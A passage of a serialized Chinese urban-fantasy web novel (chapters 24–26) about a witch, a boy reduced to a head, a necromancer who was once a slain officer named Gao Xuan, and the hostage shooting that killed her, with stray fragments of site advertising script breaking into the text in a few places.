一二三四五六七,共计七簇。以北斗七星的反向排列方式,陆续浮现在他面前。 “这里就是阴曹地府了吗?” 知了猴很快调整好心态,适应了环境,开始东张西望:“我去,墙上居然还用铁链挂着好几套破衣服。” “是时候把你的脑子从水里捞出来沥干了。”岑小哉用古怪的语调说道。 她沉默了两秒,又闭了闭眼。 也许是在按捺自己抬手将那只知了猴的头摁进鬼火丛中的冲动。 “挂在上面的是七具干尸。” 知了猴:“……” “‘地生七燹(xiǎn),倒反魁杓(biāo)’。很明显,这个地方是黄德寿修炼闽山禁术‘七煞阵’时摆下的祭坛。” 即便身在暗无天日的地下祭坛里,女巫从头到尾连人带服饰依然每一处都清晰可见。 郑颢震惊之余,不由得想起了她所描述过的某种可怖存在:“不可名状的……投影”。 他不敢再细想,只好继续虔诚聆听女巫大人对现状的分析。 “怀孕的许晓芊就是未来的阵眼‘子母煞’,受害者死后被锁入阵中,尸身面容逐渐变成她的模样,黄德寿他们正是借此来混淆耳目。” 郑颢恍然大悟:“那也就是说,如果现在破了这个阵法,七年后被害死的那些人应该就能活下来?” “对,所以最关键的一步就是,阻止许家灭门案的发生。” “黄德寿不是已经把许晓芊还回来了吗?那我们接下来要咋办?” 他话音未落,原本按兵不动的七簇鬼火骤然暴起,连成一圈,将岑小哉、郑颢以及装载着许晓芊的隐形毛毛虫车统统包围起来。 “哆唻(刀来)——”女巫抬起手,往虚空中一划。 长长一道火焰“轰”地照亮整个祭坛地洞。 “魔法扫帚”从火中应声而现,扫帚拟态随着火焰熄灭而消失。 灰烬吹落,斩.马.刀闪闪发光。 岑小哉握住刀柄,刀锋震颤,阵阵嗡鸣四处回响。 但幽绿鬼火中传来的几句吟唱却立刻就压过了一切声响,如有实质般,通过七窍钻进了在场所有人的脑子里面。 “人失土,土食人,谁知世间多疾苦。” “今夜子母共长眠,昨日六亲腹中住。” “身入棺,棺如身,为求大道叩天门。” “老弱病残七重煞,不见日月不透风!” 鬼火们仿佛手拉着手飞速旋转,正围着受困其中的女巫和知了猴一边载歌载舞,一边缓缓迫近。 绿幽幽的火圈中隐约浮现了几张面孔,五官模糊不清,嘴巴却不停张合,念咒诵经般重复那四句偈歌。 “唱得难听死了!”连女巫也被它们绕得心烦意乱,“那厮居然还留了这么个后手,简直防不胜防!” 郑颢又开始濒临崩溃了:“它们这是要干嘛?鬼火能烧死人吗?咱们该不会就这么死了,然后变得跟它们一样吧?” 嚎着嚎着,他忽然觉得自己正在不受控地坠向地面。 “啊救命!怎么回事?那什么毛毛虫车,它真的把我给消化掉了吗?” “没有。”岑小哉冷着脸,将刀身递了过去,稳稳当当接住了——郑颢的脑袋。 听到女巫的否定,他稍微松了一口气。余光却忽然瞥到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,无数金芒从女巫的那顶尖顶帽下爆出,如烟花般璀璨。 那是藏在岑小哉满头粉发里的无数金眸同时在黑暗中睁开,还来不及施展神通,就又同时被无形的力量全部捏碎。 “它刚刚被噩梦之主吃掉了,连带着你的大部分躯体一起!”倏地现身的白裙少女愤愤然说道。 知了猴终于不得不接受现实:他虽然还活着,但躯干和四肢都消失了,现在只剩下一颗头。 … “轰隆——” 晴天一道霹雳。 雷声在北边炸响的那个瞬间,近乎地动山摇。 “大探长们救人啊,救命啊!” 许老太太披头散发地闯进伍港区安全署,嚷嚷着要报案,甚至都没发觉,自己只有右脚套着布鞋,左脚的鞋子不知什么时候跑丢在半路上。 “我家大丫头……许晓芊!她本来好端端坐在车里,也不晓得是中了什么邪,突然往车外‘欻’地跳出去,整个人就不见了!” 署里大半人手都跟着戴探长到伍港区北郊的刘厝村出任务了,据说是有犯罪分子杀人又放火,手段极其残忍,情节十分恶劣。 所以,这时候只剩下几个今年新招进来的实习侦查员留守在岗位上,此刻不得不硬着头皮给许老太太做笔录。 “老太太您别着急昂,咱慢慢说……” 年轻的女侦查员话还没说完,许老太太立刻跳起来,扯起大嗓门开吼:“什么别着急!我能不着急吗?好好一个大活人,就这么‘啪’——没了!” 喷出满地口水之后,她立刻又往地上一瘫,开始干嚎。 “哎呦我的命怎么这么苦啊!老头子住院,宝贝孙儿身子骨弱,可怜我儿子整天忙里忙外的,娶了个败家娘们又只会吃干饭,生的大丫头都不安生,还要装神弄鬼地吓唬人……我怎么这么命苦啊!” 几个实习侦查员被许老太太嚎得头晕目眩,只能好声好气继续劝解她。可惜老太太正闹得兴起,半句好话也听不进去,捶胸顿足,蹬腿打滚,就差把办事厅的屋顶给掀了。 “许老太太,您不用再嚎了,许晓芊在这儿。” 有人用一句话终结了这场闹剧。 “戴探长回来了?”听到熟悉的冷冽声音,侦查员们齐刷刷转头看去。 “哎不对,是粒粒,你怎么来了?” “什么!在哪儿?我家大丫头呢?她在哪儿?”许老太太立刻爬起来,急不可耐地扒拉开那几个侦查员。 办事厅的走廊外确实站着两个少女。 以及一颗旁人看不见的脑袋,被托在一把旁人看不见的斩.马.刀上面。 十分钟前,她们正好在伍港区安全署的门外遇到了对方。 “许晓芊?你来得正好,你家现在非常不安全,胡锐锋恼羞成怒,随时有可能跑去伤害你们,得赶紧想个办法……” 话还没说完,才刚走近安全署大门的戴玉粒忽然愣住。 明明几天前才见过面,她却有种奇怪的感觉:印象中那个柔弱至极的女孩,今天好像变得跟原来很不一样了。 夕阳西下,白裙少女的影子在地上拖得很长,看起来简直像是某种体型巨大的冷血动物。 “说出来可能有点匪夷所思,但你必须相信——” 那少女转头看向戴玉粒,眉眼依旧清秀可人,但她脸上的表情与气势已近乎凶猛。 “我是女巫。” 24. 有史以来 斩.马.刀打横悬浮在半空中,一动不动。 郑颢安静地呆在这把热乎乎的冷兵器上面,同样一动不动。 他仅剩的脑袋右边还放着一列很眼熟的乐高小火车,小火车的右边则是女巫的猩红色尖顶帽。 仿佛包罗世间万象的那顶尖顶帽。 就在昨日,“七煞阵”祭坛里那些鬼火们唱着歌扑上来时,女巫消失了半秒,再次出现时,她使用的是许晓芊的躯壳。 鬼火、干尸和锁住干尸的铁链全部消失了。 郑颢再次想起,自己的躯干和四肢也都消失了,现在只剩下一颗头。 但他还活着。 巨大而荒谬的绝望瞬间将这个柔弱凡人一口吞没。 直到女巫用许晓芊的躯壳来到伍港区安全署的大门口,郑颢才缓缓恢复意识。 但他并不确定,戴玉粒到底有没有看见自己。 毕竟“许晓芊爆改女巫”这件事也足够让她恍惚上好一阵子了。 “现在,有一件很糟糕的事情——我的毛毛虫车和知了猴的大部分躯体都被噩梦之主暂时扣押了。”女巫指了指郑颢……的脑袋,几乎把所有事情都向戴玉粒全盘托出。 “他上次猝死并夺舍秦正浩之后,显然遗失了一部分记忆,包括日记本莫名失踪的头一页,都是噩梦之主所做的标记。祂将依靠这个标记抓住知了猴这只祭品,并吃掉他。” “难道我现在还没有被抓住以及吃掉吗?”祭品哭丧着脸问道。 “任何一头驴都不可能轻易就吃到吊在自己面前的胡萝卜。”女巫冷笑,许晓芊的清秀面容顿时增添了几分邪气。 “女巫大人,那您又怎么会跑到许晓芊的身体里?”差点被吃的“胡萝卜”斗胆问道。 女巫大人磨了磨后槽牙:“因为主宰这个空间的那头驴现在就要吃掉胡萝卜,而我不允许。祂气急败坏,想把我从这个空间里赶走,我不得不使用一点小计谋来骗过祂。” 比如躲进一个凡人女孩的躯壳里。 再比如短时间内不能继续使用魔法,否则就会被噩梦之主察觉到她的踪迹。 危机迫在眉睫,戴玉粒倒是想起了另外一件事。她抿了抿唇,神情中既有忧愁,也有一丝警惕:“女巫,真正的许晓芊,还活着吗?” “噢,放心。她的意识只是暂时陷入休眠了而已。” 高马尾少女顿时松了口气,又看向郑颢,眼神有点复杂:“那七年后的秦正浩……” 这次,女巫讳莫如深地摇了摇头:“他的意识确实已脱离了躯壳,不知所踪。” 话题结束,她们走进安全署。 接着不由自主地在办事厅外的走廊上停住脚步。 面目狰狞状若癫狂的许老太太扬起巴掌,扑了过来。 “我去!这老太婆疯了吗!”知了猴大惊,险些从刀上滚下去。 戴玉粒绷着脸,立即伸手护住“许晓芊”,担心老太太会对她不利。 唯有女巫双手抱臂站在原地,连冷酷表情都没有一丝变化:“许函鼎能说话了。” “你个死丫头跑哪里去了?车开得那么快你怎么可以跳出去!不要命了是吧!”许老太太高高扬起的巴掌仍然落在她身上,却只是握着孙女的肩膀,把她当成个骰盅般使劲摇晃。 女巫微微一皱眉,似乎觉得有点意外。 “人没事就好,时候也不早了,赶紧回家吧。” 安全署里的侦查员们好说歹说,总算将许老太太和她的“孙女”送了出去。 当然,全程没人看得见横飞在“许晓芊”身后的那把斩.马.刀,以及刀上的人头、乐高小火车,还有一顶变得无精打采的猩红色尖顶帽。 刚走出安全署,许老太太急忙问道:“大丫头,你刚刚说鼎鼎能说话了,是真的还是假的?” “回去看看不就知道了。”女巫双目平视前方,步伐从容。 “那还不走快点!”许老太太狠狠剜了她一眼,“你这死丫头要是再敢骗我,皮都给你揭下来!” 回到许家没了招牌的卤煮店,许老太太立刻扯着嗓子大喊:“李娇娇?李娇娇!饭做好了没有?鼎鼎在哪儿呢?快把他抱出来!” 女巫一声不吭地站在门口。 许兴邦正瘫在沙发上气若游丝,连短视频都没心思刷了。他瞥了“许晓芊”一眼,朝茶几上的保温饭盒努了努嘴:“许晓芊,赶紧去医院给你爷爷送饭,记得把他的小便盆洗一洗,好几天没洗了,臭得很。” “不去。” “什么!” 万万没想到,向来唯命是从的大女儿居然说出这种话,许兴邦整个人震惊得差点一个鲤鱼打挺从沙发上滚下去。 “你……” 女巫打断了他即将出口的脏话,指了指她自己当下的肚子:“这个东西,搞得我非常难受。所以我决定,明天就去把它掏出来。” 她又抬起手,直指着许兴邦。 “你再多说两句,妹妹们今天晚上就会再次出现,把你的五脏六腑也掏出来。” “别胡说!我,我才不信!”话是这么说,实际上许兴邦已经吓得快要尿裤子了。 女巫脸上扯出个僵硬得诡异的微笑,耸了耸肩:“那就试试看呗。” 她径直上楼,路过许函鼎的儿童房。 “好鼎鼎,快叫奶奶,奶奶——”许老太太正在里面逗孙子,却不偏不倚地挨了宝贝香火给的一记响亮耳光。 女巫在门口停留了几秒,冷冷觑着许函鼎。 原本想用手里的玩具坦克砸她的小男孩忽然顿住了。 “……姐,姐。”他讨好般喊了一句。 “嘘,别吵。”女巫将食指竖在唇前,比出噤声手势,“不然另一个漂亮姐姐也会出来找你玩的。” “不,不漂亮……”许函鼎疯狂摇头,“怕,怕!” 而许老太太已经被巨大惊喜淹没了,半晌才回过神来:“鼎鼎真的会说话了?我的宝贝大孙子真的会说话了!老天保佑啊!” 跟在旁边的知了猴一整个瞠目结舌:“难道,自闭症还能被吓好了不成?” “许函鼎早就能说话了,他是故意的。只要他不开口说话,几个大人就会心情不好,然后把许晓芊当成出气筒来打骂。” “这怎么可能,他才三岁!” “没有任何事情是不可能的,尤其是在你们人类世界。” … 次日下午,无人敢阻拦女巫出门。 她早就跟戴玉粒约好了,在郑颢住的小区楼下碰面。 只剩一个脑袋的他无聊到极点,眼珠子转到要抽筋,于是开始关心昨天一些鸡毛蒜皮的小事。 “彩衣庙和丹庚山都被烧没了?” “嗯呒。” “刘和生呢?” “被抓进伍港安全署了。” “哦也对,‘放火烧山,牢底坐穿’嘛。” 女巫摇了摇头:“他已经‘大事化小,小事化了’。” “为啥?难不成,他今天就被人赎出来了?” “刘和生饮酒过量,已经是肝癌晚期。今天凌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晨三点,他消化道大出血,一下子就呛死在拘留室里面。”这次回答的是戴玉粒。 “我们在山上找到了那个功德箱,也已经把刘桂落的钱全部还回去了。可惜,还是没有发现笔仙的踪影。” “‘我们’?”知了猴迅速抓住了没必要抓住的重点。 而女巫脸黑如锅底。 “高照在那边,说什么也不肯过来。”戴玉粒指了指小区绿化带另一边的林荫道。 “噫——” 知了猴发出一声怪叫,失去躯体之后俨然变得有点猖狂。 女巫又一次磨了磨后槽牙:“无所谓,我需要用到的那些东西带来了就行。” 戴玉粒点点头,放下自己的书包,从里面拿出了小刀、白纸、以及一瓶浸泡着大量古怪药材的烈酒。 “一份简易的致幻剂。”女巫微笑着接过酒瓶,拔掉瓶塞,开始对瓶吹。 “女巫大人,您这是要一醉解千愁?”知了猴呐呐问道。 “噩梦之主所做的标记——那些遗失的记忆,其实也就是一部分死去的你。”女巫放下酒瓶,身形有点摇晃,声音却依然四平八稳。 “我的计划是,试试看能不能用亡灵召唤术来补全你的记忆。” 郑颢有点想要否定这种尝试。 但是他不敢。 女巫又接过戴玉粒递过来的小刀和白纸,割破手指,划出一个模糊不清的符号,同时念起通幽的沼泽咒语。 “Egosumtepetoetuiderequeo.” 白纸上的血迹开始闪烁。 “许晓芊”的柳叶眉微微一蹙,那双丹凤眼骤然变成了赤金竖瞳,就像是山羊眼睛与蜥蜴眼睛的混合体。 被她直直盯住的时候,郑颢再次感受到那种身在史前原始森林的恐惧感。他下意识就想要闭眼转头,却一不小心真的转动了自己仅剩的脑袋,旁边的乐高小火车就这么从刀上被撞了下去。 斩.马.刀因此抖动起来。 就在亡灵召唤术起效的同一时间,纸上血迹化作一道红光,直直罩住跌至半空的小火车—— 白纸飘落在地面,直接消失了。 一个穿着漆黑长袍的小女孩顶着满头茄紫色波浪卷发,出现在白纸消失的地方。 “玛菲!你干了什么好事?” 小女孩捧着脸发出尖叫。 “布兰奇!?” 女巫同样捧着脸发出尖叫:“怎么会是你?怎么会是你!” “真是见鬼了,你用的锚点物品居然是别人送给我的旧玩具!”被称为“布兰奇”的紫发小女孩捡起了掉在地上的乐高小火车,却一副不太想抬起头的样子。 “你又为什么会是以一个小女孩的模样出现?”女巫不依不饶地问道。 “因为,这是我十岁那年收到的小礼物。”布兰奇终于抬起头,脸上露出了一抹灿若朝阳的笑容。 “正式介绍一下,我叫布兰奇·X·卡奥,是一名亡灵法师。” 女巫点点头,用不怀好意的语气补充说明:“是的,有史以来第一位被亡灵召唤术召唤出来的亡灵法师。” 而此刻,在场所有完整或不完整的凡人都陷入了呆滞状态,包括躲在林荫道那边的高照。 “小悬?” “悬姐姐?” “姐?” 他们几乎是同时开口。 陷入呆滞状态的又多了一个女巫。 她缓缓开口,语气变得飘忽:“布兰奇,你在人类世界使用的名字,就是‘高悬’?” 25. 致命礼物 戴玉粒对“死亡”有严重的心理阴影。 因为她十二岁时曾经亲眼目睹姐姐高悬被匪徒杀害。 那一天,正好是高悬的二十二岁生日。她好不容易才从古堃区调任到伍港区,回到亲爱的妈妈、姥姥还有妹妹的身边。 从此一家人可以快快乐乐生活在一起,再也不用分隔两地。 可当时闯进危险区域的高照,也正是高悬同父异母的弟弟。 “悬姐姐,求求你不要去!” 多年以来午夜梦回,戴玉粒总在梦中喃喃自语,重复着这句话。 醒来时脑袋哭得发懵,枕头湿漉漉的。 她有时甚至还觉得,即便是噩梦也好,至少还可以在梦里见到姐姐。 也正因如此,戴雪很不理解,她们家粒粒为什么还愿意和高照一起读伍港一中,还答应了班主任,去当高照的学习搭子,给他辅导数学。 戴雪隐晦地问起这件事时,戴玉粒沉默了很久,说道:“我只是想满足悬姐姐的最后一个生日愿望。” 高照自己也一直都知道是这么个原因。 但很多时候,他总会假装忘记。 就像所有人避而不谈的“袅袅”和“婷婷”这两个小名。 他年少时在古堃区的经历,是另一场不能与人言的噩梦。 大城市固然光鲜亮丽,身处钢铁丛林之中的所有居民却仿佛一头又一头身披人皮的野兽,严格贯彻着“弱肉强食”的箴言。 很长一段时间内,十二岁的高照一听到“秦正泽”这三个字就会忍不住簌簌发抖。 高墨龙能当上古堃区安全署的探长,要归功于秦正泽那个慧眼识英雄的总督父亲秦焱,可父辈之间的交情并没有延续到在同一所学校读书的孩子们身上。 秦正泽反倒觉得,高照这小子就是一条癞皮狗,无论怎么打骂,他也没胆子去跟他爸告状——非常适合拿来当个出气筒。 于是,跟秦正泽同校的第一年里,高照平均每周要挨三顿拳脚。是重是轻,要以秦正泽和他那几个好兄弟的心情为标准。 有时他们瞄上了别的人肉沙包,那高照就能侥幸地逃过一劫。不过这种机会并不多,就算不对他动手,秦正泽他们也有很多不同的方式在高照身上找乐子。 第二年春天尾声,有几个脑子不太正常的亡命之徒潜入古堃区,打算干一票大的,比如绑架古堃总督的宝贝儿子来换取他们在港口被查封的那批价值千金的“长生烟”。 所谓“人为财死”。 古堃安全署提前收到了线人的情报,由探长高墨龙亲自带队,原本打算在歹徒们动手之前先将他们一网打尽。 谁知总督的宝贝儿子平日里实在是作恶多端,被祸害得最惨的高照无意间偷听到了这么一个能够让秦正泽“恶有恶报”的好机会,他如何能放过? 高照决定去告密。 当他偷偷摸摸闯进古堃人民医院仍在动工的新址时,背后却忽然传来他姐高悬的一声怒吼:“高照!你个小兔崽子,立马给我站住!” 出于血脉压制的影响,他被吼得整个人都原地起跳。 与此同时,前方传来了几声槍响。 他本该就此止步的。 不知从何而来的一个声音却在他耳边幽幽响起—— “怎么?你是想继续被秦正泽按进马桶里喝他撒的尿,还是想被他们扒掉裤子逼着学狗叫?” “赶紧去啊!去告诉他们秦正泽躲在哪里,只有这样才能把他揪出来。只要秦正泽落在他们手里,你的一切痛苦就能到此结束了!” 高照有点迟疑。 “快点!要是等到你姐追上来,你的机会可就没了!” 他转头看了两眼,浑浑噩噩又往前跑去。 安全署的抓捕行动提前了,最后两个歹徒仓皇逃窜到古堃人民医院新址的施工场所里面,没想到高探长的一双儿女竟然一前一后主动送上门来当人质。 尤其是高探长的小儿子。 居然自个儿呆呆地跑过来,直到被抓住了才一脸如梦初醒,吓得脸蛋煞白。 随后赶到的高悬手握一把05式转轮,不顾自己同样暴露在黑洞洞的槍口之下,却把槍直直对准了亲弟弟的眉间:“来啊,一起开槍呗。反正这小子跟我也不是一个妈生的,打死了也无所谓。” 高照和两个歹徒都被她的话惊得目瞪口呆。 “高悬,你——你疯啦?”男孩忍不住挣扎起来,鸭舌帽掉落在地,露出一颗被那些高年级学生剃出来的阴阳头。 高悬愣了一瞬,迅速挑眉以掩饰震惊的眼神,又“嗤”地笑了。 似乎这时候,高照才慌张到极致,却已无法顾及自己的丑态,只能绝望地威胁姐姐:“我要是真出了什么事,你爸肯定饶不了你!” “这不是你自找的吗?整天除了闯祸还会干啥?放心吧,等你个不成器的歇菜了,我爸就算要再生一个那也绰绰有余。哦对,说不定下一个更乖。” 她每说一句,高照的眼眶就更红一分:“你胡说,你胡说!高悬,我恨你!我恨你们所有人!你们都去死!” “闭嘴啊小杂种,不然老子现在就一枪崩了你!”捏住他的吉进宝顿时恼了,一边斥骂,一边将槍托狠狠砸在男孩脸上。 高照被砸得整个上半身都晃悠了一下,嘴角立刻渗出血迹。 高悬的眉头微不可察地拧起,却不得不笑着继续说出违心话:“嗐,真是的。要杀就杀嘛,搞这些假把式浪费时间,多没意思。” “你也别废话了,到底想怎么样?” “我知道你们那批货被藏在哪儿。”高悬走近两步,压低了声音,“这小子就丢在这儿得了,趁现在那边没人守着,我可以带你们过去……” “呸,我们兄弟俩犯的事儿可不少,凭什么相信你个条子?”用槍指着她的吉招财啐了一口,凶狠眼神倒是不自觉缓和了几分。 “本来嘛,我才是高探长认定的接班人,可惜现在不怎么是了。两位大哥,你们说我这二十年来费劲巴拉的,最后得当一盆泼出去的水,给这么个小垃圾让路,我怎么能甘心呢?”高悬说着话的同时,还顺势用那把05式转轮指了指高照——并趁机往上一抬,暗中瞄准了吉进宝的喉咙。 “横竖是一场空,倒不如卖你们个顺水人情,反正我爸还是最疼我的,也不会拿我怎么样。” 毕竟“人为财死”。 吉氏兄弟在那一刻陷入了激烈的思想斗争。 正当他俩犹豫着交换眼神的时候,埋伏在暗处的高墨龙动手了。 “呯——” “呯——” “呯——” 高墨龙一槍爆头,亲自狙杀了劫持自己儿子的吉进宝。 高悬转身打中了用槍指着自己的吉招财,可惜她还是慢了一步。 槍响过后,持槍对峙的三人全部倒了下去。 “姐!对不起,我错了,我不是真的想害你的!”男孩两腿一软,瘫倒在地上,几乎是连滚带爬地扑向高悬。 看到弟弟那个滑稽又怪异的阴阳头,高悬张了张嘴,脑子里却一片混沌,什么也说不出来。 身上又痛又冷。 视线迅速变得昏暗,年轻的女探员仰躺在地面上,下意识抬手捂住胸前不断洇血的伤口。 她这时忽然想起:今天刚好是自己的生日,还没吹灭二十二根蜡烛,也没有吃到草莓蛋糕呢。 “爸爸,为什么?”她在心里质问着那个还未现身的上司父亲。 “我和阿照……本来可以……一起活下来的……” 远处有个小小的身影正跌跌撞撞跑过来。 那女孩儿一把推开高照,近乎崩溃地扑上来嚎啕大哭:“姐姐,悬姐姐!你醒醒,别把我一个人丢在古堃,我们还要一起回家呢!” 是她的婷婷。 以前每年只有寒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 暑假三个月能见面。 本来想着,以后她每天上班之前,就可以替妈妈送婷婷去上学,下班了就带婷婷去玩儿,玩够了再回家吃晚饭。一起吃姥姥包的水饺,婷婷不爱吃饺子馅没关系,她会把饺子皮都让给亲爱的妹妹。 可怎么就,没有“以后”了呢? “婷婷,你和阿照……都要好好长大。”高悬抬起手,试图抱住那个哭得撕心裂肺的女孩,瞳孔却渐渐涣散。 “我真想看见——” 你们长大后的样子。 … 所有人围坐在草坪上。 但准确来说,草坪上只坐着四个人。 因为除此之外,一个是飘浮在半空中的女巫,另一个是飘浮在半空中的亡灵法师。 郑颢终于再次看见熟悉的猩红色尖顶帽、背带裤,以及小短靴。 珍珠白圆领衬衫上,却不再垂下两条浅粉色麻花辫,变成了满头冰蓝色的羊毛卷。 “呵,敢情您的一番操作猛如虎,最后只是换了个新发型?”知了猴努力控制自己抽搐的嘴角,可惜不太成功。 “一种简单的规避手段,可以让那头‘驴’在短时间内认不出我。” 女巫乔装完毕,许晓芊本人也终于恢复意识。她睁开眼,对于自己短短两天的离奇经历,暂时保持了一种并不寻常的缄默。 大概是因为当下这个场面更加离奇—— “所以,你俩曾经同个妈?”岑小哉好奇地看了看布兰奇和戴玉粒。 探员姐姐缓慢点头,并继续直勾勾盯着外表是十岁小女孩的亡灵法师。 岑小哉又看了看布兰奇和高照:“而你俩曾经同个爸。” 二世祖垂着脑袋,像极了一条落水狗。 “这些年,他经常说起你,”高照停顿了一下,声音逐渐变低,语气更加黯然,“在每次骂我的时候。” “实际上,‘高悬’也并不完全是我。” 布兰奇呲牙一笑,拿着乐高小火车开始比比划划。 “她,只是我曾经的一点投影而已。” “投影?”郑颢的表情看起来像在原地梦游。 女巫挠头想了半天,终于从久远的回忆里扒拉出些许碎片:“你当初那场入学考试,就相当于‘高悬’的人生?” 埃米·诺特教授是一只棕榈鬼鸮。 同时也是整个圣萨罗斯学院里最喜欢让学生考试的导师,没有之一。 布兰奇正想回答,还来不及张嘴,先被戴玉粒的一声轻问打断了。 “原来,我们就只是一场‘入学考试’?” 少女脸上露出一种很难看的笑容,泪如雨落,攥紧的双拳隐隐颤抖。高照坐在她旁边,心也跟着揪紧,手刚抬起又放下,重复了三四次。 她说过,袅袅没了,也就不再有婷婷了。 她还说过,如果能用高照的命换高悬回来,那他休想看到明天的太阳。 如今“高悬”终于回来了,她怎么还是这样难过? “不是的,你不是她。” 坐在布兰奇对面的另一人也完全失魂落魄,不像是找回了自己的躯干和四肢,更像是找回某个丢了很久的百宝箱,打开之后却发现里面空无一物。 亡灵法师尴尬地笑了笑,没有勇气直视在场任何一个凡人的眼睛。 但不管如何,女巫终于发现了那只知了猴的不对劲。 她伸手往背后一掏,不知从何处掏出来一本日记,“唰”地翻开。 而郑颢对此视若无睹。 日记本的扉页上再次出现了那句话:“‘在我最喜爱的照片里,藏着一个关于她的秘密’。” 女巫陷入了沉思。 在场的所有生物当中,只有完全置身事外的许晓芊看起来最平静:“布兰奇小姐,我想问一下,那你的考试题目是什么?” 亡灵法师眯了眯眼睛,淡淡答道:“《致命礼物》。” 26. 过河拆桥 “致命的不是礼物,是人心。” 许晓芊摇了摇头,柔弱外表下隐藏着一种历尽世事磋磨的残酷直觉。 “高悬姐姐的牺牲很不值得,简直像是一场意外得逞的阴谋。” 布兰奇脸上的笑容淡去。 另外三个凡人或抬头或转头,全部目光炯炯地盯着许晓芊。 “好了,既然知了猴已经恢复记忆,那今天就先这样,各回各家吧。”女巫打了个哈欠,恹恹赶人。 却无一人对她的过河拆桥行径表示不满。 亡灵法师忽然在此时开口了,说的却是:“许晓芊同学,你留下。” 戴玉粒脸上的泪痕未干,神色冷若冰霜,起身就走,连自己带来的书包都忘了拿。高照从草地上捡起她的书包,来不及多说什么,匆忙追了过去。 目送着少年人们在夕照中跑远,女巫忽然抬手,往布兰奇额头上弹了个脑瓜崩。后者疼得大叫一声,迅速捂着额头跳开。 “其实在探员姐姐的记忆中,你已经离开了整整十二年。” 布兰奇眨了眨眼,面上又浮起那种无所谓的笑。 “离开人类世界之后我才发觉,其实从一开始,高照偷听到抓捕计划,就已经是高探长的将计就计。” 他怎么会不知道秦正泽一直在欺负高照,可为了自己的前程,他没有去阻止,甚至还要反过来骂高照是没用的废物。 “但说真的,高探长这个人很奇怪。如果高照能靠自己成功反抗秦正泽,那高探长不但不会骂他,还会对他另眼相看,然后亲自登门去跟秦总督赔礼道歉。” “这怎么可能?”许晓芊讶然。 “因为我……”布兰奇很不自然地停顿下来,岑小哉当即对她翻了个白眼。 “呃,高悬就是这样,把秦正泽打到跪地求饶。 秦正泽是在古堃被爷爷奶奶带大的。 他比高悬小五岁,上幼儿园时打同学,上了小学开始打老师,每个学校都呆不满一年,直到进了古堃实验学校。 作为一所完全中学,古堃实验学校提供了从初中到高中的六年制连贯教育。 秦正泽仗着有个总督父亲,打遍古堃无敌手,终于在初二时遭遇了已经上高三的高悬。 转学第一天,秦正泽想故技重施,给新学校的老师同学们一个下马威。早读课都快结束了,才骑着他那辆售价20.8万的重型摩托车招摇过市。 他“轰轰轰”地开到古堃实验学校的校门,猛地刹车,狂按喇叭。 栅栏门一动不动。 “喂!开不开门?不开门我就撞上去了啊!” 时任文明校园督导队队长的高悬站在保安室门口,心里火冒三丈,面上淡定微笑:“这位同学,你已经迟到了三十九分钟,而且根据学校规定,任何学生都不能驾驶机车上学。请你立刻下车,到学生会纪检部办公室等待处理。” 秦正泽骂了一堆脏话,最后来了一句:“老子今天就要把车开进去,你个**能拿我怎么样? 见他这副癫狂模样,一同站岗的几个队员都有些惴惴不安。 “算了吧队长,咱们还是去把宋主任和值日老师她们找过来比较好。” “是啊,这人看起来不怎么正常的样子。” 高悬抬手示意,让他们先去搬救兵。 “我重申一遍——”她再次面带微笑地将刚才那番话复述出来。说到“任何学生”时,忽然“嘭”地一声巨响。 秦家公子开车撞上了金属栅栏门,引发一阵警报尖啸。 高队长停顿了两秒,气沉丹田,喝道:“这位同学!请你立刻下车,到学生会纪检部办公室等待处理!” “我*你*了个*的!出来啊,有本事你来打我啊!” 秦正泽在校门外继续叫嚣。 “同学,你确定要让我出去打你吗?”高悬叹了口气,似乎有点无奈。 “对啊!你要真有本事就把我往死里揍呗!先提醒你一下,老子可不是什么吃素的,打不过了可别哭唧唧的说我欺负女人。” “真是见了鬼,我从来没有听过这么离谱的要求。” 蝉联了五届的新唐南部青少年格斗大赛冠军非常遗憾地转了转手腕和脚踝,倒退三步助跑,直接一记鹞子翻身,跃过了损坏的金属栅栏门。 “那我只好满足他了。” 五十秒后,秦正泽脸朝下双手反剪被按在地面上,整个人鼻青脸肿。 “我爸是秦焱!你*的居然敢打我!” 事实证明,高悬不仅敢,她还敢今天写检讨明天继续揍他。一顿又一顿,打得理不直气也壮。 秦家二老带着惨遭毒手的宝贝孙子上高家讨说法,高墨龙自责“教女无方”,直接就要给他们跪下。 这件荒唐事终于惊动了秦总督,他火速赶回家中,将膝下这根长歪了的独苗好好收拾了一顿,并直接发话:秦正泽下次违反校规被抓,高悬可以直接动手修理他,谁也不能阻拦。 五年后,高悬死不瞑目,秦正泽反倒安然无恙。 高探长素来铁骨铮铮,却在女儿的葬礼上哭得站都站不稳。 幼子的血泪和长女的命,为他铺出了一条直达粤州二把手的青云路。 也正因如此,高悬牺牲后才会被戴雪接回伍港安葬,高照也不得不接受父亲的安排,离开了自己出生长大的古堃,转学到伍港。 … “说到底,确实还是‘礼物’。” 亡灵法师把两只小手一摊,脸上笑容没什么变化。 “甚至算得上一份大礼——高探长用自己女儿的命,换回了秦总督儿子的命。” “真是义薄云天啊。”许晓芊冷笑道。 “你们人类好复杂。” 女巫摇了摇头,同时拍了拍那本日记本。 郑颢终于注意到她的动作,还有她手里的日记本。 他的呼吸骤然滞住。 “所以,你俩也认识?” 一双赤金竖瞳如探照灯般,刺破暮色,直直投向那个卷毛男青年。 布兰奇含糊“唔”了一声,反问道:“他就是1号祭——” “钥匙。”岑小哉用闪电般的语速打断了她的话,“怎么滴,噩梦矩阵连你们亡灵法师的试炼地也没放过?” “哦那倒没有,我昨天刚从倒影沼泽回到圣萨罗斯,准备参加本次的奇点考核,正好赶上教授们都在五里雾长廊喝下午茶。” 布兰奇伸出手,一幅土黄色莎草纸卷凭空出现,上面画着一朵正在电闪雷鸣的乌云,以及一群正在抱头鼠窜的仙人掌。 “麦克林托克教授说你养的那些梦幻仙人掌突发恶疾,并且尸横遍野。我导师就打算借一只过来,让我尝试能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不能召唤出仙人掌的亡灵……” 